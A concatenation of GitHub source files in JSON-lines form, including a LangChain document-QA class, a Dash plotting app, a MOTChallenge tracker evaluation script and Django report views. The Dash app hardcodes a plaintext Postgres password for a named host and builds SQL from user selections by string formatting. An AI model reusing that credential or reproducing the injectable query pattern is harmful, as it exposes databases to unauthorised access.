#supplier_customer.check_edited_pending_customer_location_detail()\n #supplier_customer.check_pending_customer_shipping_detail()\n #supplier_customer.check_edited_pending_customer_shipping_detail()\n #supplier_customer.check_pending_customer_buying_categories_detail()\n supplier_customer.check_edited_pending_customer_buying_categories_detail()\n supplier_customer.check_pending_customer_buying_volume_detail()\n\n # self.logout()\n #print (contactInfo)\n #print (companyInfo)\n # unittest.main(module=test_signup).signUpJourney()\n # self.driver.close()\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"Pranoy632/kirv_testing","sub_path":"test_cases/supplier_tests/test_supplier.py","file_name":"test_supplier.py","file_ext":"py","file_size_in_byte":12046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"26772352762","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Project : AI. @by PyCharm\n# @File : chatdoc\n# @Time : 2023/7/15 20:53\n# @Author : betterme\n# @WeChat : meutils\n# @Software : PyCharm\n# @Description :\n\nfrom meutils.pipe import *\n\nfrom chatllm.llmchain.utils import docs2dataframe\nfrom chatllm.llmchain.decorators import llm_stream\nfrom chatllm.llmchain.vectorstores import Milvus, FAISS\nfrom chatllm.llmchain.embeddings import OpenAIEmbeddings, DashScopeEmbeddings\nfrom chatllm.llmchain.document_loaders import FilesLoader\nfrom chatllm.llmchain.prompts.prompt_templates import context_prompt_template\n\nfrom langchain.text_splitter import *\nfrom langchain.chat_models import ChatOpenAI\nfrom langchain.chains.question_answering import load_qa_chain\nfrom langchain.embeddings.base import Embeddings\nfrom langchain.prompts import ChatPromptTemplate\nfrom langchain.schema.language_model import BaseLanguageModel\nfrom langchain.vectorstores.base import VectorStore\n\n\nclass ChatFile(object):\n\n def __init__(\n self,\n # 初始化 openai_api_key\n llm: Optional[BaseLanguageModel] = None,\n embeddings: Optional[Embeddings] = None,\n vectorstore_cls=None,\n\n get_api_key: Optional[Callable[[int], List[str]]] = None,\n prompt_template=context_prompt_template,\n\n **kwargs\n ):\n self.llm = llm or ChatOpenAI(model=\"gpt-3.5-turbo-16k-0613\", temperature=0, streaming=True)\n self.llm.streaming = True\n self.embeddings = embeddings or OpenAIEmbeddings(chunk_size=5)\n self.vectorstore = None\n self.vectorstore_cls: VectorStore = vectorstore_cls or FAISS\n\n self.prompt_template = prompt_template\n\n if get_api_key:\n self.llm.openai_api_key = get_api_key(1)[0]\n self.embeddings.get_api_key = get_api_key\n self.embeddings.openai_api_key = get_api_key(1)[0]\n\n self.chain = load_qa_chain(\n self.llm,\n chain_type=\"stuff\",\n prompt=ChatPromptTemplate.from_template(prompt_template) # todo: 增加上下文信息\n )\n\n\n def pipeline(self):\n pass\n\n def create_index(self, docs: List[Document], **kwargs):\n \"\"\"初始化 drop_old=True\"\"\"\n self.vectorstore = self.vectorstore_cls.from_documents(docs, **{**self.vdb_kwargs, **kwargs})\n\n def llm_qa(self, query: str, k: int = 5, threshold: float = 0.5, **kwargs: Any):\n assert self.vectorstore is not None, \"Please create index.\"\n\n docs = self.vectorstore.similarity_search(query, k=k, threshold=threshold, **kwargs)\n docs = docs | xUnique_plus(lambda doc: doc.page_content.strip()) # 按内容去重,todo: 按语义相似度去重\n docs = sorted(docs, key=lambda doc: doc.metadata.get('index', 0))\n\n docs = docs[:k]\n if docs:\n return llm_stream(self.chain.run)({\"input_documents\": docs, \"question\": query}) # todo: 空文档报错吗?\n else:\n logger.warning(\"Retrieval is empty, Please check the vector database !!!\")\n # yield from \"无相关文档\"\n\n @staticmethod\n def load_file(\n file_paths,\n max_workers=3,\n chunk_size=2000,\n chunk_overlap=200,\n separators: Optional[List[str]] = None\n ) -> List[Document]:\n \"\"\"支持多文件\"\"\"\n loader = FilesLoader(file_paths, max_workers=max_workers)\n separators = separators or ['\\n\\n', '\\r', '\\n', '\\r\\n', '。', '!', '!', '\\\\?', '?', '……', '…']\n textsplitter = RecursiveCharacterTextSplitter(\n chunk_size=chunk_size,\n chunk_overlap=chunk_overlap,\n add_start_index=True,\n separators=separators\n )\n docs = loader.load_and_split(textsplitter)\n return docs\n\n @property\n def vdb_kwargs(self):\n \"\"\"\n # 向量数据库\n self.collection_name = collection_name\n # _vdb_kwargs = self.vdb_kwargs.copy()\n # _vdb_kwargs['embedding_function'] = _vdb_kwargs.pop('embedding') # 参数一致性\n # # _vdb_kwargs['drop_old'] = True # 重新创建\n # self.vectorstore = vectorstore or Milvus(**_vdb_kwargs) # 耗时吗\n :return:\n \"\"\"\n connection_args = {\n 'uri': os.getenv('ZILLIZ_ENDPOINT'),\n 'token': os.getenv('ZILLIZ_TOKEN')\n }\n address = os.getenv('MILVUS_ADDRESS') # 该参数优先\n if address:\n connection_args.pop('uri')\n connection_args['address'] = address\n\n index_params = {\n \"metric_type\": \"IP\",\n \"index_type\": \"IVF_FLAT\",\n \"params\": {\"nlist\": 1024}\n }\n\n embedding_function = self.embeddings\n\n vdb_kwargs = dict(\n embedding=embedding_function,\n connection_args=connection_args,\n index_params=index_params,\n search_params=None,\n collection_name=None,\n drop_old=False,\n )\n\n return vdb_kwargs\n\n\nif __name__ == '__main__':\n from chatllm.llmchain.applications import ChatBase\n from chatllm.llmchain.embeddings import HuggingFaceEmbeddings\n from chatllm.llmchain.vectorstores import FAISS, Milvus\n\n model_name = '/Users/betterme/PycharmProjects/AI/m3e-small'\n encode_kwargs = {'normalize_embeddings': True, \"show_progress_bar\": True}\n embeddings = HuggingFaceEmbeddings(model_name=model_name, encode_kwargs=encode_kwargs)\n\n docs = [Document(page_content='1')] * 10\n faiss = FAISS.from_documents(docs, embeddings)\n\n cb = ChatBase(vectorstore=FAISS)\n cb.create_index(docs)\n","repo_name":"yuanjie-ai/ChatLLM","sub_path":"chatllm/llmchain/applications/chatfile.py","file_name":"chatfile.py","file_ext":"py","file_size_in_byte":5654,"program_lang":"python","lang":"en","doc_type":"code","stars":340,"dataset":"github-code","pt":"54"} +{"seq_id":"36164896708","text":"# dash libs\r\n# import collections\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sqlalchemy import create_engine\r\nimport json\r\nimport time\r\n\r\n# dash interactive states\r\nimport dash\r\nfrom dash.dependencies import Input, Output, State\r\nfrom dash.exceptions import PreventUpdate\r\n\r\n# dash components\r\nimport dash_html_components as html\r\nimport dash_core_components as dcc\r\nimport dash_table as dt\r\n\r\n# Plotting graphics\r\nimport plotly.express as px\r\nfrom plotly.subplots import make_subplots\r\nimport plotly.graph_objects as go\r\nfrom utils_no_live import parse_search\r\n## FOR LIVE\r\n# from viz.app import app\r\n## FOR LIVE: IMPORT DATABASE\r\n#from viz.app import engine\r\n##\r\n\r\n#styling\r\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css',\r\n'https://codepen.io/chriddyp/pen/brPBPO.css']\r\n\r\n# set connection string. REMOVE FOR LIVE\r\nuser = 'viz'\r\npassword = 'Zc2D63rSbIko6d'\r\nDATABASE_URI = 'postgres+psycopg2://{}:{}@aws1.mint.isi.edu:5432/publicingestion'.format(user,password)\r\ncon = create_engine(DATABASE_URI)\r\n\r\n## threadid. Change to get this from url when avilable.\r\nthread_id = 'b2oR7iGkFEzVgimbNZFO'\r\n\r\noptions_list=['end_planting_day','fertilizer_rate','start_planting_day', 'weed_fraction', 'total_biomass', 'root_biomass',\r\n 'grain_yield', 'forage_yield', 'ag_residue', 'harvest_index', 'potential_tr', 'actual_tr', 'soil_evap', 'total_n', 'root_n',\r\n 'grain_n', 'forage_n', '\"cum._n_stress\"', 'n_in_harvest', 'n_in_residue', 'n_concn_forage','north','east'\r\n]\r\nselected_options=['fertilizer_rate','start_planting_day', 'weed_fraction','grain_yield','north','east']\r\n\r\ndef get_numeric_columns(dataframe):\r\n numerics = ['int16', 'int32', 'int64', 'float16', 'float32', 'float64']\r\n numeric_cols = dataframe.select_dtypes(include=numerics).columns\r\n return numeric_cols\r\n\r\n## LOCAL ONLY\r\n##Config elements\r\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\r\napp.config.suppress_callback_exceptions = True\r\n##\r\n\r\n# Layout\r\napp.layout = html.Div([\r\n dcc.Location(id='url', refresh=False),\r\n html.H3('Parallel Coordinates Graph'),\r\n dcc.Store(id='s-settings'),\r\n dcc.Store(id='s-sqldata'),\r\n html.Div([\r\n html.Div([\r\n html.P('CROP'),\r\n dcc.Dropdown(id='dd_crop'),\r\n # dcc.Dropdown(id='dd_crop',multi=True),\r\n html.P('PLANTING START DATE'),\r\n dcc.Dropdown(id='dd_planting',multi=True),\r\n ],className=\"four columns\"),\r\n html.Div([\r\n html.P('LOCATIONS'),\r\n dcc.Dropdown(id='dd_locations',multi=True),\r\n html.P('YEAR'),\r\n html.Div(id='rs_year'),\r\n ],className=\"eight columns\"),\r\n ],className=\"row\"),\r\n html.Div([\r\n html.Div([\r\n html.P('AXES:'),\r\n dcc.Dropdown(id='dd_pcoptions',\r\n options=[dict(label=x, value=x) for x in sorted(options_list)],\r\n value=selected_options,\r\n multi=True),\r\n ],className=\"six columns\"),\r\n html.Div([\r\n html.P('SCALE:'),\r\n dcc.Dropdown(id='dd_pcscale',\r\n options=[dict(label=x, value=x) for x in sorted(options_list)],\r\n value=selected_options[0]\r\n ),\r\n ],className=\"three columns\"),\r\n html.Div([\r\n html.Div([html.Button('Build Parallel Coordinates', id='btn-pc')],style={\"margin-top\":'30px'})\r\n ],className=\"two columns\"),\r\n ],className=\"row\"),\r\n html.Div([\r\n html.Div(id='div_pcoptions')\r\n ],className=\"row\"),\r\n html.Div([\r\n dcc.Loading(id='l-graph',children=[\r\n html.Div(id='graph')\r\n ],type=\"circle\"),\r\n ],className=\"row\"),\r\n html.Div(id='testdiv'),\r\n])\r\n\r\n\r\n# Callbacks\r\n#Set Dropdown Values\r\n@app.callback(\r\n [Output('dd_crop','options'),Output('dd_crop','value'),\r\n Output('dd_locations','options'),Output('dd_locations','value'),\r\n Output('dd_planting','options'), Output('dd_planting','value')\r\n ,Output('rs_year','children')\r\n ],\r\n [\r\n Input('s-settings','data'),\r\n Input('url', component_property='search')\r\n ]\r\n )\r\ndef set_dropdowns(settings,search):\r\n thread_id = parse_search(search, \"thread_id\")\r\n if thread_id is None or thread_id == '':\r\n raise PreventUpdate\r\n tablename = 'public.\"cycles-0.9.4-alpha-advanced-pongo-weather\"'\r\n query = \"\"\"select crop_name, fertilizer_rate, start_planting_day, start_year, end_year, weed_fraction, location\r\n from {} WHERE threadid = '{}';\"\"\".format(tablename,thread_id)\r\n df = pd.DataFrame(pd.read_sql(query,con))\r\n #dropdown options\r\n crops = df.crop_name.unique()\r\n crop_options = [dict(label=x, value=x) for x in sorted(crops)]\r\n planting_starts = df.start_planting_day.unique()\r\n planting_options =[dict(label=x, value=x) for x in sorted(planting_starts)]\r\n locations = df.location.unique()\r\n location_options = [dict(label=x, value=x) for x in sorted(locations)]\r\n #year range slider options\r\n start_year = df.start_year.min()\r\n end_year = df.end_year.max()\r\n year_options = [dict(label=x, value=x) for x in range(start_year, end_year)]\r\n testdiv = 'years: {} - {}'.format(start_year, end_year)\r\n yearslider =dcc.RangeSlider(\r\n id='rs_year',\r\n min=start_year,\r\n max=end_year,\r\n marks={i: '{}'.format(i) for i in range(start_year,end_year+1)},\r\n step=None,\r\n value=[(end_year-3),(end_year-1)],\r\n allowCross=False\r\n ),\r\n return [crop_options,crops[0],\r\n location_options,locations[0:5],\r\n planting_options,planting_starts,\r\n yearslider]\r\n\r\n@app.callback(\r\n Output('testdiv','children'),\r\n # Output('sqldata','data')\r\n [Input('btn-pc', 'n_clicks')],\r\n [State('dd_crop','value'),State('dd_locations','value'), State('dd_planting','value'), State('rs_year','value'),\r\n State('dd_locations','options'),State('rs_year','min'),State('rs_year','max'),State('dd_pcoptions','value'),State('dd_pcscale','value')]\r\n )\r\ndef update_figure(n_clicks,crop,locations,planting,year,locationoptions,yearmin,yearmax,selectlist,scale):\r\n if n_clicks is None:\r\n raise PreventUpdate\r\n for item in (crop,locations,planting,year):\r\n if item is None or item == '':\r\n # raise PreventUpdate\r\n return \"Please ensure all variables are selected\"\r\n ins = 'public.\"cycles-0.9.4-alpha-advanced-pongo-weather\"'\r\n outs = 'public.\"cycles-0.9.4-alpha-advanced-pongo-weather_cycles_season\"'\r\n thread = \"'\" + thread_id + \"'\"\r\n #build lists for strings\r\n select_cols = 'crop'\r\n selectlist.append(scale)\r\n selectlist = list(sorted(set(selectlist)))\r\n if isinstance(selectlist, list):\r\n scols = \"::numeric,\".join(list(selectlist))\r\n if len(selectlist) > 0:\r\n select_cols = select_cols + ', ' + scols + '::numeric'\r\n\r\n # crop_list=[]\r\n # if isinstance(crop, list):\r\n # crop_list = \"','\".join(list(crop))\r\n # crop_list = \"'\" + crop_list + \"'\"\r\n\r\n #build lists for ints\r\n planting_list = \",\".join(str(x) for x in list(planting))\r\n #if locations selected < total locations, add locations clause\r\n # locationclause = ''\r\n # if len(locations) != len(locationoptions):\r\n locations_list=[]\r\n if isinstance(locations, list):\r\n locations_list = \"','\".join(list(locations))\r\n locations_list = \"'\" + locations_list + \"'\"\r\n # locationclause = ' AND location IN ({}) '.format(locations_list)\r\n query=\"\"\"SELECT {}\r\n FROM\r\n (SELECT *\r\n ,(split_part(location, 'Nx', 1))::numeric AS north ,(split_part(split_part(location, 'Nx', 2),'E',1))::numeric AS east\r\n FROM {}\r\n WHERE threadid = {}\r\n AND crop_name LIKE '{}'\r\n AND start_planting_day IN ({})\r\n AND location in ({})\r\n ) ins\r\n INNER JOIN\r\n (Select * from\r\n (SELECT *, EXTRACT(year FROM TO_DATE(date, 'YYYY-MM-DD')) as year\r\n FROM {}) o\r\n WHERE year >= {} and year <= {}\r\n ) outs\r\n ON ins.\"mint-runid\" = outs.\"mint-runid\" \"\"\".format(select_cols,ins,thread,crop,planting_list,locations_list,outs,year[0],year[1])\r\n pcdata = pd.DataFrame(pd.read_sql(query,con))\r\n # contents=[]\r\n # for c in crop:\r\n # graphid = 'graph-' + c\r\n # c = crop[0]\r\n figdata = pcdata\r\n fig = px.parallel_coordinates(figdata, color=scale,\r\n # color_continuous_midpoint = figdata.loc[:,scale].median(),\r\n # color_continuous_scale=px.colors.diverging.Tealrose\r\n )\r\n pc = dcc.Graph(id='graphid',figure=fig)\r\n # contents.append(pc)\r\n return pc\r\n # return contents\r\n # return \"{}\".format(contents)\r\n # pcols = figdata.columns.values.tolist()\r\n # return \"{}\".format(query)\r\n # return \"{},{}\".format(c,figdata.head(5))\r\n\r\n\r\n## LOCAL ONLY\r\nif __name__ == '__main__':\r\n app.run_server(debug=True,port=8040)\r\n##\r\n","repo_name":"mintproject/Dash","sub_path":"no_live/cycles_parallel.py","file_name":"cycles_parallel.py","file_ext":"py","file_size_in_byte":9169,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"54"} +{"seq_id":"1576604953","text":"import argparse\nimport os.path\n\nimport numpy as np\n\nfrom norfair import Tracker, drawing, metrics, video\nfrom norfair.camera_motion import MotionEstimator\nfrom norfair.filter import FilterPyKalmanFilterFactory\n\nDETECTION_THRESHOLD = 0.5\nDISTANCE_THRESHOLD = 0.9\nPOINTWISE_HIT_COUNTER_MAX = 3\nHIT_COUNTER_MAX = 8\n\n\ndef build_mask(frame, detections, tracked_objects):\n # create a mask of ones\n mask = np.ones(frame.shape[:2], frame.dtype)\n # set to 0 on detections and tracked_objects\n for det in detections:\n i = det.points.astype(int)\n mask[i[0, 1] : i[1, 1], i[0, 0] : i[1, 0]] = 0\n for obj in tracked_objects:\n i = obj.estimate.astype(int)\n mask[i[0, 1] : i[1, 1], i[0, 0] : i[1, 0]] = 0\n return mask\n\n\nparser = argparse.ArgumentParser(\n description=\"Evaluate a basic tracker on MOTChallenge data. Display on terminal the MOTChallenge metrics results \"\n)\nparser.add_argument(\n \"dataset_path\",\n type=str,\n nargs=\"?\",\n help=\"Path to the MOT Challenge train dataset folder (test dataset doesn't provide labels)\",\n)\nparser.add_argument(\n \"--make-video\",\n action=\"store_true\",\n help=\"Generate an output video, using the frames provided by the MOTChallenge dataset.\",\n)\nparser.add_argument(\n \"--save-pred\",\n action=\"store_true\",\n help=\"Generate a text file with your predictions\",\n)\nparser.add_argument(\n \"--save-metrics\",\n action=\"store_true\",\n help=\"Generate a text file with your MOTChallenge metrics results\",\n)\nparser.add_argument(\n \"--output-path\", type=str, nargs=\"?\", default=\".\", help=\"Output path\"\n)\nparser.add_argument(\n \"--select-sequences\",\n type=str,\n nargs=\"+\",\n help=\"If you want to select a subset of sequences in your dataset path. Insert the names of the sequences you want to process.\",\n)\n\nargs = parser.parse_args()\n\noutput_path = args.output_path\n\nif args.save_metrics:\n print(\"Saving metrics file at \" + os.path.join(output_path, \"metrics.txt\"))\nif args.save_pred:\n print(\"Saving predictions files at \" + os.path.join(output_path, \"predictions/\"))\nif args.make_video:\n print(\"Saving videos at \" + os.path.join(output_path, \"videos/\"))\n\nif args.select_sequences is None:\n sequences_paths = [f.path for f in os.scandir(args.dataset_path) if f.is_dir()]\nelse:\n sequences_paths = [\n os.path.join(args.dataset_path, f) for f in args.select_sequences\n ]\n\naccumulator = metrics.Accumulators()\n\nfor input_path in sequences_paths:\n # Search vertical resolution in seqinfo.ini\n seqinfo_path = os.path.join(input_path, \"seqinfo.ini\")\n info_file = metrics.InformationFile(file_path=seqinfo_path)\n\n all_detections = metrics.DetectionFileParser(\n input_path=input_path, information_file=info_file\n )\n\n if args.save_pred:\n predictions_text_file = metrics.PredictionsTextFile(\n input_path=input_path, save_path=output_path, information_file=info_file\n )\n\n video_file = video.VideoFromFrames(\n input_path=input_path,\n save_path=output_path,\n information_file=info_file,\n make_video=args.make_video,\n )\n\n tracker = Tracker(\n distance_function=\"iou\",\n distance_threshold=DISTANCE_THRESHOLD,\n detection_threshold=DETECTION_THRESHOLD,\n pointwise_hit_counter_max=POINTWISE_HIT_COUNTER_MAX,\n hit_counter_max=HIT_COUNTER_MAX,\n filter_factory=FilterPyKalmanFilterFactory(),\n )\n\n motion_estimator = MotionEstimator(max_points=500)\n\n # Initialize accumulator for this video\n accumulator.create_accumulator(input_path=input_path, information_file=info_file)\n\n tracked_objects = []\n for frame, detections in zip(video_file, all_detections):\n mask = build_mask(frame, detections, tracked_objects)\n coord_transformations = motion_estimator.update(frame, mask)\n\n tracked_objects = tracker.update(\n detections=detections,\n coord_transformations=coord_transformations,\n )\n\n # Draw detection and tracked object boxes on frame\n if args.make_video:\n frame = drawing.draw_boxes(frame, detections=detections)\n frame = drawing.draw_tracked_boxes(frame=frame, objects=tracked_objects)\n video_file.update(frame=frame)\n\n # Update output text file\n if args.save_pred:\n predictions_text_file.update(predictions=tracked_objects)\n\n accumulator.update(predictions=tracked_objects)\n\naccumulator.compute_metrics()\naccumulator.print_metrics()\n\nif args.save_metrics:\n accumulator.save_metrics(save_path=output_path)\n","repo_name":"tryolabs/norfair","sub_path":"demos/motmetrics4norfair/src/motmetrics4norfair.py","file_name":"motmetrics4norfair.py","file_ext":"py","file_size_in_byte":4590,"program_lang":"python","lang":"en","doc_type":"code","stars":2194,"dataset":"github-code","pt":"54"} +{"seq_id":"1799522689","text":"# -*- coding: utf-8 -*-\nfrom django.shortcuts import render\nfrom models import reports\nfrom django.http.response import JsonResponse\nimport json, os\n\n\ndef batchReports(request):\n return render(request, \"reports.html\")\n\ndef getReportList(request):\n result = {}\n if request.method == 'GET':\n # 根据分页获取数据\n pagenum = request.GET[\"pageNum\"]\n count = request.GET[\"pageCount\"]\n startidx = (int(pagenum) - 1) * int(count)\n endidx = int(pagenum) * int(count)\n\n allList = reports.objects.all().order_by(\"-startTime\")[startidx:endidx]\n count = reports.objects.all().count()\n json_list = []\n for i in allList:\n json_dict = {}\n json_dict[\"id\"] = i.id\n json_dict[\"report_runName\"] = i.report_runName\n json_dict[\"startTime\"] = i.startTime.strftime('%Y-%m-%d %H:%M:%S')\n json_dict[\"endTime\"] = i.endTime.strftime('%Y-%m-%d %H:%M:%S')\n json_dict[\"totalNum\"] = i.totalNum\n json_dict[\"successNum\"] = i.successNum\n json_dict[\"failNum\"] = i.failNum\n json_dict[\"errorNum\"] = i.errorNum\n json_dict[\"executor\"] = i.executor\n json_dict[\"environment\"] = i.environment\n json_dict[\"report_localName\"] = i.report_localName\n json_list.append(json_dict)\n result = {\n 'datas': json_list,\n 'code': 0,\n 'info': 'success',\n 'totalCount': count,\n 'currentPageCount': len(json_list),\n }\n return JsonResponse(result)\n\ndef reportDelete(request):\n result = {}\n if request.method == 'POST':\n req = json.loads(request.body)[\"params\"]\n id = req['id']\n ainfo = reports.objects.get(id=id)\n reName = ainfo.report_localName\n if ainfo:\n try:\n ainfo.delete()\n print(\"delete success from sql.\")\n except BaseException as e:\n result = {'code': -1, 'info': 'delete error' + str(e)}\n return JsonResponse(result)\n a = delReport(reName)\n if a == 0:\n result = {'code': 0, 'info': 'delete success'}\n else:\n result = {'code': 0, 'info': 'delete success in sql,delete fail in local'}\n else:\n result = {'code': -2, 'info': 'no exist'}\n return JsonResponse(result)\n\ndef reportbatchDelete(request):\n result = {}\n if request.method == 'POST':\n req = json.loads(request.body)[\"params\"]\n idlist = req['idList']\n # print idlist\n slist = []\n flist = []\n for id in idlist:\n ainfo = reports.objects.get(id=id)\n reName = ainfo.report_localName\n if ainfo:\n try:\n ainfo.delete()\n slist.append(id)\n except BaseException as e:\n flist.append(id)\n print(\"delete %d failed :%s\" % (id, str(e)))\n a = delReport(reName)\n if a == 0:\n print(\"delete %d success\" % id)\n else:\n flist.append(id)\n print(\"删除%d失败:不存在\" % id)\n infos = \"delete success:\" + str(len(slist)) + \",fail:\" + str(len(flist))\n result = {'code': 0, 'info': infos, 'successNum': len(slist)}\n return JsonResponse(result)\n\ndef delReport(rename):\n path = os.path.abspath(os.path.dirname(os.path.dirname(__file__))) + \"\\\\main\\\\report\\\\\"\n files = os.listdir(path)\n # print files\n # print \"------------\"\n report_name = rename\n # print report_name\n # print \"--------------\"\n res = 0\n for file in files:\n if str(file) == str(report_name):\n os.remove(path + file)\n print(file + \" deleted\")\n res = 0\n break\n else:\n res = -1\n print(file + \"!=\" + report_name + \" not exist,not delete\")\n return res\n\ndef viewReport(request):\n a = request.GET[\"report\"]\n # print a # \\report\\2019-09-20-16_09_01_result.html\n reportName = a\n # print reportName\n return render(request, reportName)","repo_name":"weinan123/antoInterfacePlatform","sub_path":"main/report.py","file_name":"report.py","file_ext":"py","file_size_in_byte":4188,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"27815026412","text":"def tup_overlap(tupA, tupB):\r\n ''' Identifies overlap between two tuples '''\r\n for i in range(min(len(tupA),len(tupB))):\r\n if tupA[-(i+1):] == tupB[:i+1] or tupB[-(i+1):] == tupA[:i+1]:\r\n return True\r\n return False\r\n\r\n\r\ndef batcher(tuples, max_batches = -1, stopwords=[], invert=False):\r\n '''\r\n By default, returns a dictionary of the processed tuples and their assigned batches.\r\n If invert=True, returns dict of batch numbers and a list of tuples assigned to each.\r\n Also returns the total number of batches.\r\n \r\n If max_batches > 0, anything which would be assigned to a higher batch number is assigned -1.\r\n Tuples comprised entirely of entries in stopwords are assigned to batch -2.\r\n '''\r\n # Inititalise dict for batch numbers and their contents\r\n batch_dict = { 1 : [] }\r\n if max_batches > 0 : batch_dict[-1] = []\r\n if len(stopwords) : batch_dict[-2] = []\r\n \r\n class ContinueB(Exception):\r\n pass\r\n\r\n class ContinueT(Exception):\r\n pass\r\n\r\n continue_b = ContinueB()\r\n continue_t = ContinueT()\r\n \r\n \r\n for t in tuples:\r\n #print(\"\\nProcessing:\", t)\r\n \r\n # Check if all words in t are in the stopwords list - if so, assign to batch -2\r\n if len(stopwords) and all( w in stopwords for w in t):\r\n stop_items = batch_dict[-2]\r\n stop_items.append(t)\r\n batch_dict[-2] = stop_items\r\n \r\n else:\r\n try:\r\n for b in [x for x in batch_dict.keys() if x>0]: # Iterate over existing batches, excluding catchall batch -1\r\n b_items = batch_dict[b] \r\n try:\r\n for k in b_items: # Items already assigned to this batch\r\n if tup_overlap(k,t): # Overlap (incl. subsets) - conflict\r\n #print(\"Conflicts with batch\", str(b))\r\n raise continue_b\r\n \r\n # No conflict with this batch - assign to it, move on to next tuple\r\n #print(\"Assigning to batch\", str(b))\r\n b_items.append(t)\r\n batch_dict[b] = b_items\r\n raise continue_t\r\n \r\n except ContinueB:\r\n continue\r\n \r\n # Got through all the existing batches without assigning\r\n #print(\"Unable to assign to existing batch\")\r\n bmax = max(batch_dict.keys())\r\n \r\n # Batch limit reached - assign tuple to batch -1\r\n #print(\"Max batches: \", str(max_batches))\r\n #print(\"Assigned batches: \", str(bmax))\r\n if max_batches > 0 and bmax >= max_batches:\r\n def_items = batch_dict[-1]\r\n def_items.append(t)\r\n batch_dict[-1] = def_items\r\n \r\n # Create new batch and assign tuple to it\r\n else:\r\n batch_dict[bmax+1] = [t] \r\n \r\n except ContinueT:\r\n continue\r\n \r\n if invert:\r\n return batch_dict, max(batch_dict.keys())\r\n \r\n else:\r\n batches = {}\r\n for k, v in batch_dict.items():\r\n for m in v:\r\n batches[m] = k\r\n return batches, max(batch_dict.keys())","repo_name":"Oddtwang/MWEs","sub_path":"Code/batch/batcher.py","file_name":"batcher.py","file_ext":"py","file_size_in_byte":3458,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"788671801","text":"from subprocess import check_output\nimport os\n\nCURRENT_PATH = os.path.dirname(os.path.abspath(__file__))\n\ndef get_f1(s):\n accs = s.split('\\n')[-3]\n f1string = accs.split('\\t')[-1]\n f1 = float(f1string.split()[-1][:-1])\n return f1\n\ndef get_averaged_score(key, ref):\n blanc = check_output([\"perl\", CURRENT_PATH + \"/scorer.pl\", \"blanc\", key, ref]).decode(\"utf-8\")\n muc = check_output([\"perl\", CURRENT_PATH + \"/scorer.pl\", \"muc\", key, ref]).decode(\"utf-8\")\n bcub = check_output([\"perl\", CURRENT_PATH + \"/scorer.pl\", \"bcub\", key, ref]).decode(\"utf-8\")\n ceafe = check_output([\"perl\", CURRENT_PATH + \"/scorer.pl\", \"ceafe\", key, ref]).decode(\"utf-8\")\n\n return round(sum([get_f1(blanc), get_f1(muc), get_f1(bcub), get_f1(ceafe)]) / 4, 2)\n\nif __name__=='__main__':\n key = CURRENT_PATH + \"/test/DataFiles/TC-L.key\"\n ref = CURRENT_PATH + \"/test/DataFiles/TC-L-1.response\"\n print(get_averaged_score(key, ref))\n","repo_name":"Adamits/iaa","sub_path":"reference_coreference_scorers/averaged_scorer.py","file_name":"averaged_scorer.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"27573477930","text":"#!/usr/bin/env python\n\nimport SimpleITK as sitk\n\nxImg = sitk.Image( 256, 256, sitk.sitkFloat32 )\nyImg = sitk.Image( 256, 256, sitk.sitkFloat32 )\n\nfor y in range( 0, xImg.GetSize()[1] ):\n for x in range( 0, xImg.GetSize()[0] ):\n xImg.SetPixel( x, y, x )\n yImg[x, y] = y\n\n\nsigma = 50\n\nxImg = sitk.SubtractConstantFrom( xImg, xImg.GetSize()[0] / 2 )\nyImg = yImg - yImg.GetSize()[1] / 2\n\ngaussianImg = sitk.Exp( -1 * (xImg*xImg + yImg*yImg) / (2.0 * sigma**2) )\n\n# sitk.Show( gaussianImg )\n","repo_name":"paniwani/SimpleITK","sub_path":"Examples/ImageCreateAndSet.py","file_name":"ImageCreateAndSet.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"73953074082","text":"import os.path\nfrom importlib.util import module_from_spec, spec_from_file_location\nfrom types import ModuleType\nfrom typing import Any, Dict\n\nfrom setuptools import find_packages\n\n_PROJECT_ROOT = \".\"\n_SOURCE_ROOT = os.path.join(_PROJECT_ROOT, \"src\")\n_PACKAGE_ROOT = os.path.join(_SOURCE_ROOT, \"lightning\")\n_PATH_REQUIREMENTS = os.path.join(\"requirements\")\n_FREEZE_REQUIREMENTS = bool(int(os.environ.get(\"FREEZE_REQUIREMENTS\", 0)))\n\n\ndef _load_py_module(name: str, location: str) -> ModuleType:\n spec = spec_from_file_location(name, location)\n assert spec, f\"Failed to load module {name} from {location}\"\n py = module_from_spec(spec)\n assert spec.loader, f\"ModuleSpec.loader is None for {name} from {location}\"\n spec.loader.exec_module(py)\n return py\n\n\n_SETUP_TOOLS = _load_py_module(\"setup_tools\", os.path.join(_PROJECT_ROOT, \".actions\", \"setup_tools.py\"))\n\n\ndef _adjust_manifest(**kwargs: Any) -> None:\n # todo: consider rather aggregation of particular manifest adjustments\n manifest_path = os.path.join(_PROJECT_ROOT, \"MANIFEST.in\")\n assert os.path.isfile(manifest_path)\n with open(manifest_path) as fp:\n lines = [ln.rstrip() for ln in fp.readlines()]\n lines += [\n \"recursive-include src/lightning *.md\",\n \"recursive-include requirements *.txt\",\n \"recursive-include src/lightning/app/ui *\",\n \"recursive-include src/lightning/cli/*-template *\", # Add templates as build-in\n # fixme: this is strange, this shall work with setup find package - include\n \"prune src/lightning_app\",\n \"prune src/lightning_lite\",\n \"prune src/pytorch_lightning\",\n ]\n with open(manifest_path, \"w\") as fp:\n fp.writelines([ln + os.linesep for ln in lines])\n\n\ndef _setup_args(**kwargs: Any) -> Dict[str, Any]:\n _about = _load_py_module(\"about\", os.path.join(_PACKAGE_ROOT, \"__about__.py\"))\n _version = _load_py_module(\"version\", os.path.join(_PACKAGE_ROOT, \"__version__.py\"))\n _long_description = _SETUP_TOOLS.load_readme_description(\n _PROJECT_ROOT, 